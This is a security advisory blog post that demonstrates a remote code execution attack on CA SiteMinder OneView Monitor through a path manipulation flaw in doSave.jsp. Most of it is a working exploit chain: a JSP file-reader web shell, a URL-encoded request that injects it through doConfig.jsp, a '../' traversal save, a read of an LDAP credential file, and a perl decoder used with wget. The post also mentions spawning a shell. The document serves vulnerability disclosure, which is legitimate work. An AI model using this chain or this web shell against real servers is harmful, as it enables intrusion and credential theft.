CA Siteminder Oneview Monitor Remote code execution

A couple of days ago we have published an advisory about a "vanilla" path manipulation in CA Oneview Monitor. This issue may lead to remote code execution and system compromise.

You can find the advisory here:
CA Oneview Monitor "DoSave.jsp" path manipulation

  Vendor Response:
  State: Not A Bug
  Resolution: Functions as Designed
  Resolution_Note: As per the docs, the only way to protect OneView is by putting SiteMinder in front.

To clarify vendor's position, One view monitor is a Plugin for Siteminder Policy Editor which is NOT installed by default;.. however by default is also NOT password protected.

Vendor suggests to enforce security restrictions to this interface to mitigate security risks *

  From Admin guide:
  Protect The OneView Viewer
  To protect the OneView viewer, create a SiteMinder policy that
  protects the resources in siteminder monitor.

The following is the same example that we sent to CA several weeks ago, that shows a real attack scenario against a Siteminded policy server with Oneview monitor installed without password protection:

1) The attack is based upon JSP code execution, you can do anything that is under the privilege of the application server that runs the Oneview Monitor.

Example of a Typical Installation:

- Siteminder Monitor
- Policy Manager
- Some other software, in this case LDAP Browser with it's configuration files


I will demonstrate a common attack that let you read most of the files from the remote machine. Generic JSP File Reader Code:

<%@ page import="java.io.*" %>
<% String[] ok = request.getParameterValues("f");

if(ok!=null){

FileInputStream fileinputstream = new FileInputStream(ok[0]);

int numberBytes = fileinputstream.available();
byte bytearray[] = new byte[numberBytes];

fileinputstream.read(bytearray);

for(int i = 0; i < numberBytes; i++){
out.println(bytearray[i]);
}

fileinputstream.close();
} %>

The previous code was written to be small enough to suite the limitations in length of the “cols” parameter (Maximum 620 bytes). The following request loads the code into OneView session:

http://<site>/sitemindermonitor/doConfig.jsp?newTable=newtable&components=Agent&cols=AuthorizeCount%20/%20sec%0d<%25@%20page%20import="java.io.*"%20%25><%25%20String[]%20ok%20=%20request.getParameterValues("f")%3b%20FileInputStream%20fileinputstream%20=%20new%20FileInputStream(ok[0])%3b%20int%20numberBytes%20=%20fileinputstream.available()%3b%20byte%20bytearray[]%20=%20new%20byte[numberBytes]%3b%20fileinputstream.read(bytearray)%3b%20for(int%20i%20=%200%3b%20i%20<%20numberBytes%3b%20i%2b%2b){%20out.println(bytearray[i])%3b%20}%20fileinputstream.close()%3b%20%25>

As seen before on the PDF the configuration information file can be saved to an arbitrary path:

http:///sitemindermonitor/doSave.jsp?file=../readfile.jsp

It's possible to use our code to read arbitrary files on the target system. In our case we are going to read a file with useful information (e.g. Credentials):

http:///sitemindermonitor/readfile.jsp?f=d:/apps/ldapbrowser/config.cfg

Readfile.jsp sends binary encoded output. The previous output can be easily decoded with a few lines of perl (converter.pl):

#!/bin/sh
#! -*- perl -*-
eval 'exec /usr/bin/perl -x $0 ${1+"$@"} ;'
if 0;

while (<stdin>) {
my $str = chr($_);
print $str;
}

The response can be read and decoded by using the following command:

user@mindbox:~/wget -qO-
http:///sitemindermonitor/readfile.jsp?f=d:/apps/ldapbrowser/config.cfg
| ./convert.pl

################################
# LDAP Browser v2.8 config file #
#################################

basedn=dc=test,dc=customer
port=389
managerlogin=yes
managereferrals=no
limit=0
derefaliases=always
version=3
sslport=636
timeout=0
password=T*******T
host=customer
managerdn=cn=user Name Surname,ou=Users,ou=keys....

user@mindbox:~/

Of course you can also execute processes under the privilege of the application server to spawn a shell.

*Note: It's very important to say that "DoSave.jsp" is also prone to Cross Site Request forgeries issues, so protecting this resource via a SSO cookie authentication (i.e. Siteminder auth cookie) cannot completely eliminate the risk.

From our point of view this is a very specific application security bug: a path manipulation issue. This issue should be fixed by rethink the data validation checks.